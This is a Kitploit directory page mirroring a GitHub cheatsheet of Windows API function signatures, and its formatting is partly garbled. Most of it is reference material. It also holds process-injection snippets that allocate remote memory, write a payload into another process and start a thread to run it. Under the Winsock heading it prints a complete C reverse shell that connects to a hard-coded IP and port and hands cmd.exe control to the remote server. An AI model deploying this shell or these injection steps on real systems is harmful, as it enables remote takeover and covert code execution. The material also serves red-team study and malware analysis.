Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/7etsuo/windows-api-function-cheatsheets
Reverse EngineeringPost-ExploitationMalware AnalysisBinary AnalysisCurated ResourcesPayload Development
GitHub7etsuo/windows-api-function-cheatsheets

windows-api-function-cheatsheets

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.

1.5k169منذ سنة واحدةتمت المراجعة من قبل Kitploit
مشاركة

أوراق غش API

أوراق غش دوال Windows API

التواصل

🌨️ Tetsuo: https://www.x.com/tetsuo

جدول المحتويات

  • أوراق غش دوال Windows API
    • عمليات الملفات
    • إدارة العمليات
    • إدارة الذاكرة
    • إدارة الخيوط
    • إدارة مكتبات الارتباط الديناميكي (DLL)
    • المزامنة
    • التواصل بين العمليات
    • خطافات Windows
    • التشفير
    • تصحيح الأخطاء
    • Winsock
    • عمليات السجل
    • معالجة الأخطاء
    • إدارة الموارد
    • دوال السلاسل النصية Unicode
      • طول السلسلة النصية
      • نسخ السلسلة النصية
      • دمج السلاسل النصية
      • مقارنة السلاسل النصية
      • البحث في السلاسل النصية
      • تصنيف الأحرف وتحويلها
    • ورقة غش هياكل Win32
      • الهياكل الشائعة
      • ورقة غش هياكل مقابس Win32 (winsock.h)
      • ورقة غش هياكل مقابس Win32 (winsock2.h)
      • ورقة غش هياكل مقابس Win32 (ws2def.h)
  • تقنيات حقن الكود
    • 1. حقن DLL
    • 2. حقن PE
    • 3. الحقن الانعكاسي
    • 4. حقن APC
    • 5. إفراغ العملية (استبدال العملية)
    • 6. AtomBombing
    • 7. Process Doppelgänging
    • 8. Process Herpaderping
    • 9. حقن الخطاف
    • 10. حقن ذاكرة Windows الإضافية
    • 11. حقن الانتشار
    • 12. رش الكومة
    • 13. اختطاف تنفيذ الخيط
    • 14. Module Stomping
    • 15. IAT Hooking
    • 16. Inline Hooking
    • 17. حقن مصحح الأخطاء
    • 18. اختطاف COM
    • 19. إفراغ DLL الوهمي
    • 20. PROPagate
    • 21. حقن Early Bird
    • 22. الحقن القائم على Shim
    • 23. حقن التعيين
    • 24. تسميم ذاكرة التخزين المؤقت KnownDlls
  • تعداد العمليات

استدعاءات دوال Windows API

عمليات الملفات

CreateFile```c HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); // Opens an existing file or creates a new file.

root@kitploit:~
[ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile)```c
BOOL ReadFile(
  HANDLE hFile,
  LPVOID lpBuffer,
  DWORD nNumberOfBytesToRead,
  LPDWORD lpNumberOfBytesRead,
  LPOVERLAPPED lpOverlapped
); // Reads data from the specified file.

WriteFile```c BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); // Writes data to the specified file.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

إدارة العمليات

OpenProcess```c HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); // Opens an existing local process object. e.g., try to open target process

root@kitploit:~
```c
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);

CreateProcess```c HANDLE CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.

root@kitploit:~
```c
// Start the child process
// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure
CreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 

WinExec```c UINT WinExec( [in] LPCSTR lpCmdLine, [in] UINT uCmdShow ); // Runs the specified application.

root@kitploit:~
```c
result = WinExec(L"C:\\Windows\\System32\\cmd.exe", SW_SHOWNORMAL);

TerminateProcess```c BOOL TerminateProcess( HANDLE hProcess, UINT uExitCode ); // Terminates the specified process.

root@kitploit:~
[ExitWindowsEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex)```c
BOOL ExitWindowsEx(
  [in] UINT  uFlags,
  [in] DWORD dwReason
); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
root@kitploit:~
bResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION);

CreateToolhelp32Snapshot```c HANDLE CreateToolhelp32Snapshot( [in] DWORD dwFlags, [in] DWORD th32ProcessID ); // used to obtain information about processes and threads running on a Windows system.

root@kitploit:~
[Process32First](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first)```c
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.

Process32Next```c BOOL Process32Next( [in] HANDLE hSnapshot, [out] LPPROCESSENTRY32 lppe ); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.

root@kitploit:~
[WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
root@kitploit:~
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx

ReadProcessMemory```c BOOL ReadProcessMemory( [in] HANDLE hProcess, [in] LPCVOID lpBaseAddress, [out] LPVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesRead ); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.

root@kitploit:~
```c
bResult = ReadProcessMemory(pHandle, (void*)baseAddress, &address, sizeof(address), 0);

إدارة الذاكرة

VirtualAlloc```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, // Shellcode must be between 0x1 and 0x10000 bytes (page size) DWORD flAllocationType, // #define MEM_COMMIT 0x00001000 DWORD flProtect // #define PAGE_EXECUTE_READWRITE 0x00000040
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.

root@kitploit:~
[VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
root@kitploit:~
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);

VirtualFree```c BOOL VirtualFree( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.

root@kitploit:~
[دالة VirtualProtect (memoryapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)```c
BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
); // Changes the protection on a region of committed pages in the virtual address space of the calling process.

RtlMoveMemory```c VOID RtlMoveMemory( Out VOID UNALIGNED *Destination, In const VOID UNALIGNED *Source, In SIZE_T Length ); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.

root@kitploit:~
### إدارة الخيوط
[CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)```c
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,         // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle.
  [in]            SIZE_T                  dwStackSize,                // The initial size of the stack, in bytes.
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,             // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,                // A pointer to a variable to be passed to the thread function.
  [in]            DWORD                   dwCreationFlags,            // The flags that control the creation of the thread.
  [out, optional] LPDWORD                 lpThreadId                  // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.
); // Creates a thread to execute within the virtual address space of the calling process.
root@kitploit:~
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0);

CreateRemoteThread```c HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process.

root@kitploit:~
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

CreateRemoteThreadEx```c HANDLE CreateRemoteThreadEx( [in] HANDLE hProcess, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter, [in] DWORD dwCreationFlags, [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, [out, optional] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity. // See InitializeProcThreadAttributeList

root@kitploit:~
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

ExitThread```c VOID ExitThread( DWORD dwExitCode ); // Terminates the calling thread and returns the exit code to the operating system.

root@kitploit:~
[GetExitCodeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getexitcodethread)```c
BOOL GetExitCodeThread(
  HANDLE hThread,
  LPDWORD lpExitCode
); // Retrieves the termination status of the specified thread.

ResumeThread```c DWORD ResumeThread( HANDLE hThread ); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

root@kitploit:~
[SuspendThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread)```c
DWORD SuspendThread(
  HANDLE hThread
); // Suspends the specified thread.

TerminateThread```c BOOL TerminateThread( HANDLE hThread, DWORD dwExitCode ); // Terminates the specified thread.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

إدارة مكتبة الارتباط الديناميكي (DLL)

LoadLibrary```c HMODULE LoadLibrary( LPCTSTR lpFileName ); // Loads a dynamic-link library (DLL) module into the address space of the calling process.

root@kitploit:~
[LoadLibraryExA](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa)```c
HMODULE LoadLibraryExA(
  [in] LPCSTR lpLibFileName,
       HANDLE hFile,
  [in] DWORD  dwFlags
); // Loads the specified module into the address space of the calling process, with additional options.
root@kitploit:~
HMODULE hModule = LoadLibraryExA("ws2_32.dll", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS);

GetProcAddress```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); // Retrieves the address of an exported function or variable from the specified DLL.

root@kitploit:~
```c
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

FreeLibrary```c BOOL FreeLibrary( HMODULE hModule ); // Frees the loaded DLL module and, if necessary, decrements its reference count.

root@kitploit:~
### المزامنة
[CreateMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa)```c
HANDLE CreateMutex(
  LPSECURITY_ATTRIBUTES lpMutexAttributes,
  BOOL bInitialOwner,
  LPCTSTR lpName
); // Creates a named or unnamed mutex object.

CreateSemaphore```c HANDLE CreateSemaphore( LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCTSTR lpName ); // Creates a named or unnamed semaphore object.

root@kitploit:~
[ReleaseMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasemutex)```c
BOOL ReleaseMutex(
  HANDLE hMutex
); // Releases ownership of the specified mutex object.

ReleaseSemaphore```c BOOL ReleaseSemaphore( HANDLE hSemaphore, LONG lReleaseCount, LPLONG lpPreviousCount ); // Increases the count of the specified semaphore object by a specified amount.

root@kitploit:~
[WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)```c
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
); // Waits until the specified object is in the signaled state or the time-out interval elapses.
root@kitploit:~
WaitForSingleObject(hThread, 500);

التواصل بين العمليات

CreatePipe```c BOOL CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize ); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe.

root@kitploit:~
[CreateNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)```c
HANDLE CreateNamedPipe(
  LPCTSTR lpName,
  DWORD dwOpenMode,
  DWORD dwPipeMode,
  DWORD nMaxInstances,
  DWORD nOutBufferSize,
  DWORD nInBufferSize,
  DWORD nDefaultTimeOut,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
); // Creates a named pipe and returns a handle for subsequent pipe operations.

ConnectNamedPipe```c BOOL ConnectNamedPipe( HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped ); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

root@kitploit:~
[DisconnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe)```c
BOOL DisconnectNamedPipe(
  HANDLE hNamedPipe
); // Disconnects the server end of a named pipe instance from a client process.

CreateFileMapping```c HANDLE CreateFileMapping( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCTSTR lpName ); // Creates or opens a named or unnamed file mapping object for a specified file.

root@kitploit:~
[MapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)```c
LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD dwDesiredAccess,
  DWORD dwFileOffsetHigh,
  DWORD dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
); // Maps a view of a file mapping into the address space of the calling process.

UnmapViewOfFile```c BOOL UnmapViewOfFile( LPCVOID lpBaseAddress ); // Unmaps a mapped view of a file from the calling process's address space.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

خطافات ويندوز

SetWindowsHookExA```c HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId ); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

root@kitploit:~
[CallNextHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex)```c
LRESULT CallNextHookEx(
  [in, optional] HHOOK  hhk,
  [in]           int    nCode,
  [in]           WPARAM wParam,
  [in]           LPARAM lParam
); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.

UnhookWindowsHookEx```c BOOL UnhookWindowsHookEx( [in] HHOOK hhk ); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.

root@kitploit:~
[GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate)```c
SHORT GetAsyncKeyState(
  [in] int vKey
); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

GetKeyState```c SHORT GetKeyState( [in] int nVirtKey ); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).

root@kitploit:~
[GetKeyboardState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardstate)```c
BOOL GetKeyboardState(
  [out] PBYTE lpKeyState
); // Copies the status of the 256 virtual keys to the specified buffer.

التشفير

CryptBinaryToStringA```c BOOL CryptBinaryToStringA( [in] const BYTE *pbBinary, [in] DWORD cbBinary, [in] DWORD dwFlags, [out, optional] LPSTR pszString, [in, out] DWORD *pcchString ); // The CryptBinaryToString function converts an array of bytes into a formatted string.

root@kitploit:~
[CryptDecrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecrypt)```c
BOOL CryptDecrypt(
  [in]      HCRYPTKEY  hKey,
  [in]      HCRYPTHASH hHash,
  [in]      BOOL       Final,
  [in]      DWORD      dwFlags,
  [in, out] BYTE       *pbData,
  [in, out] DWORD      *pdwDataLen
); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.

CryptEncrypt```c BOOL CryptEncrypt( [in] HCRYPTKEY hKey, [in] HCRYPTHASH hHash, [in] BOOL Final, [in] DWORD dwFlags, [in, out] BYTE *pbData, [in, out] DWORD *pdwDataLen, [in] DWORD dwBufLen ); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.

root@kitploit:~
[CryptDecryptMessage](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecryptmessage)```c
BOOL CryptDecryptMessage(
  [in]                PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara,
  [in]                const BYTE                  *pbEncryptedBlob,
  [in]                DWORD                       cbEncryptedBlob,
  [out, optional]     BYTE                        *pbDecrypted,
  [in, out, optional] DWORD                       *pcbDecrypted,
  [out, optional]     PCCERT_CONTEXT              *ppXchgCert
); // The CryptDecryptMessage function decodes and decrypts a message.

CryptEncryptMessage```c BOOL CryptEncryptMessage( [in] PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara, [in] DWORD cRecipientCert, [in] PCCERT_CONTEXT [] rgpRecipientCert, [in] const BYTE *pbToBeEncrypted, [in] DWORD cbToBeEncrypted, [out] BYTE *pbEncryptedBlob, [in, out] DWORD *pcbEncryptedBlob ); // The CryptEncryptMessage function encrypts and encodes a message.

root@kitploit:~
### التصحيح
[IsDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent)```c
BOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger.

CheckRemoteDebuggerPresent```c BOOL CheckRemoteDebuggerPresent( [in] HANDLE hProcess, [in, out] PBOOL pbDebuggerPresent ); // Determines whether the specified process is being debugged.

root@kitploit:~
[OutputDebugStringA](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-outputdebugstringa)```c
void OutputDebugStringA(
  [in, optional] LPCSTR lpOutputString
); // Sends a string to the debugger for display.

Winsock```c

/*** Windows Reverse Shell *

  • ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██
  • ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒
  • ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░
  • ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██
  • ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒░▓█▒░██▓
  • ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒
  • ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░
  • ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░
  • root@kitploit:~
      ░           ░     ░ ░      ░    ░ ░         ░           ░  ░      ░   ░  ░  ░
    
  • root@kitploit:~
                                  Written by: [email protected] (snowcra5h) 2023
    
  • This program establishes a reverse shell via the Winsock2 library. It is
  • designed to establish a connection to a specified remote server, and execute commands
  • received from the server on the local machine, giving the server
  • control over the local machine.
  • Compile command (using MinGW on Wine):
  • wine gcc.exe windows.c -o windows.exe -lws2_32
  • This code is intended for educational and legitimate penetration testing purposes only.
  • Please use responsibly and ethically.

*/

#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <windows.h> #include <process.h>

const char* const PORT = "1337"; const char* const IP = "10.37.129.2";

typedef struct { HANDLE hPipeRead; HANDLE hPipeWrite; SOCKET sock; } ThreadParams;

DWORD WINAPI OutputThreadFunc(LPVOID data); DWORD WINAPI InputThreadFunc(LPVOID data); void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock);

int main(int argc, char** argv) { WSADATA wsaData; int err = WSAStartup(MAKEWORD(2, 2), &wsaData); if (err != 0) { fprintf(stderr, "WSAStartup failed: %d\n", err); return 1; }

root@kitploit:~
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (sock == INVALID_SOCKET) {
    fprintf(stderr, "Socket function failed with error = %d\n", WSAGetLastError());
    WSACleanup();
    return 1;
}

struct addrinfo hints = { 0 };
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo* result;
err = getaddrinfo(IP, PORT, &hints, &result);
if (err != 0) {
    fprintf(stderr, "Failed to get address info: %d\n", err);
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

if (WSAConnect(sock, result->ai_addr, (int)result->ai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
    fprintf(stderr, "Failed to connect.\n");
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite;
if (!CreatePipe(&hOutputRead, &hOutputWrite, &sa, 0) || !CreatePipe(&hInputRead, &hInputWrite, &sa, 0)) {
    fprintf(stderr, "Failed to create pipe.\n");
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = hInputRead;
startupInfo.hStdOutput = hOutputWrite;
startupInfo.hStdError = hOutputWrite;
PROCESS_INFORMATION processInfo;

WCHAR cmd[] = L"cmd.exe /k";
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)) {
    fprintf(stderr, "Failed to create process.\n");
    CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock);
    return 1;
}

CloseHandle(hInputRead);
CloseHandle(hOutputWrite);
CloseHandle(processInfo.hThread);
ThreadParams outputParams = { hOutputRead, NULL, sock };
ThreadParams inputParams = { NULL, hInputWrite, sock };
HANDLE hThread[2];
hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, &outputParams, 0, NULL);
hThread[1] = CreateThread(NULL, 0, InputThreadFunc, &inputParams, 0, NULL);

WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock);
return 0;

}

void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) { if (hInputWrite != NULL) CloseHandle(hInputWrite); if (hInputRead != NULL) CloseHandle(hInputRead); if (hOutputWrite != NULL) CloseHandle(hOutputWrite); if (hOutputRead != NULL) CloseHandle(hOutputRead); if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess); if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread); if (result != NULL) freeaddrinfo(result); if (sock != NULL) closesocket(sock); WSACleanup(); }

DWORD WINAPI OutputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; DWORD bytesRead; while (ReadFile(params->hPipeRead, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { buffer[bytesRead] = '\0'; send(params->sock, buffer, bytesRead, 0); } return 0; }

DWORD WINAPI InputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; int bytesRead; while ((bytesRead = recv(params->sock, buffer, sizeof(buffer) - 1, 0)) > 0) { DWORD bytesWritten; WriteFile(params->hPipeWrite, buffer, bytesRead, &bytesWritten, NULL); } return 0; }

root@kitploit:~
[WSAStartup](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup)```c
int WSAStartup(
    WORD wVersionRequired, 
    LPWSADATA lpWSAData
); // Initializes the Winsock library for an application. Must be called before any other Winsock functions.

WSAConnect```c int WSAConnect( SOCKET s, // Descriptor identifying a socket. const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target. int namelen, // Length of the sockaddr structure. LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection. LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection. LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction. LPQOS lpGQOS // Pointer to flow specs for the socket group. ); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.

root@kitploit:~
[WSASend](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasend)```c
int WSASend(
    SOCKET s, // Descriptor identifying a connected socket.
    LPWSABUF lpBuffers, // Array of buffers for data to be sent.
    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
    DWORD dwFlags, // Flags to modify the behavior of the function call.
    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.

